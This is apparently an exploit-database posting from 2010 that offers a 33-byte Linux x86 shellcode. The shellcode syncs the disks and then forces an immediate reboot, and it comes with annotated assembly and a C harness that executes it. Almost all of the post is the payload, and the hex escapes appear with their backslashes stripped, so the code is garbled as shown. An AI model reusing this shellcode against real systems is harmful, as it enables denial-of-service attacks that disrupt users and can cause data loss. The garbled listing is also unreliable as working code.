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linux/x86 hard / unclean reboot but data not be lost 33 byte

Posted on 03 June 2010

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linux/x86 hard / unclean reboot but data not be lost 33 bytes
=============================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title  : hard reboot (without any message) and data not lost shellcode
Name   : 33 bytes hard / unclean reboot but data not be lost x86 linux shellcode 
Date   : Thu Jun  3 12:54:55 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck on reboot
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xb0x24&quot;                    /* mov    $0x24,%al */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x58&quot;                    /* mov    $0x58,%al */
		&quot;xbbxadxdexe1xfe&quot;        /* mov    $0xfee1dead,%ebx */
		&quot;xb9x69x19x12x28&quot;        /* mov    $0x28121969,%ecx */
		&quot;xbax67x45x23x01&quot;        /* mov    $0x1234567,%edx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;;                   /* int    $0x80 */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}



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